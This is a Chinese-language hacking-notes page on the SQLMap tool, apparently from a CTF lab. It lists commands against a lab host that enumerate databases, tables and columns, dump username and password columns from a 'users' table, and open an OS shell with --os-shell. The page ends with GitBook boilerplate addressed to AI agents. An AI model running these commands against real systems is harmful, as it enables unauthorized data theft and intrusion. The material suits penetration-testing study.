> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap.md).

# SQLMap

{% hint style="info" %}
**SQLMap** 是一个开源渗透测试工具，专门用于检测并利用 Web 应用程序中的 SQL 注入漏洞。它通过与底层数据库交互，自动化检测和利用 SQL 漏洞的过程。IT 安全专业人员和安全研究人员使用 SQLMap 通过识别和利用与 SQL 相关的安全漏洞来评估 Web 应用程序的安全性。
{% endhint %}

## SQLMap 工作流程

1. 捕获或构造存在漏洞的请求，包括 cookie、请求头以及可注入参数。
2. 在可能的情况下识别 DBMS 并调整 `--risk`, `--level`，以及 `--dbms` ，仅在确认行为后使用。
3. 使用最小的查询范围枚举数据库、表、列和目标记录，以证明影响。
4. 仅导出评估目标所需的数据，并保留精确的命令行以便报告。
5. 当报告需要一个最小化的概念验证且不使用自动化时，手动验证该发现。

## SQLMap 常用操作

## 列出数据库：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --dbs --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/537050fa338a5bbe1071e1f9a072eae4c535c4a4" alt=""><figcaption></figcaption></figure>

## 搜索指定数据库中的表：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --tables --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/22bcce740a3929aaa539e90c4a76a4cd19a40887" alt=""><figcaption></figcaption></figure>

## 查找特定表中的列：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="/files/06822b3c37c84cd627982c2c29b8ad9149bfb159" alt=""><figcaption></figcaption></figure>

## 从“users”表中导出用户名和密码：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" -T users -C username,password --dump
```

<figure><img src="/files/bb96629b88c97652ae2571eaf06fd045a6b813e9" alt=""><figcaption></figcaption></figure>

## 交互式控制台：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --os-shell --batch
```

## 有趣的参数：

#### 设置攻击风险和深度：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --dbms mysql --risk 3 --level 4
```

#### 如果我们通过参数知道数据库类型：

<pre class="language-bash"><code class="lang-bash"><strong>--dbms mysql
</strong></code></pre>

#### 要测试所有类型的攻击，而不是每次都发送请求：

```bash
--batch
```

### 所有笔记

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/422c68da3652e21ae990fed5633e33c07d2aff4a">/pages/422c68da3652e21ae990fed5633e33c07d2aff4a</a></td></tr><tr><td><a href="/pages/4e4bb855297c59089049cffb1919cc49f536b0ad">/pages/4e4bb855297c59089049cffb1919cc49f536b0ad</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.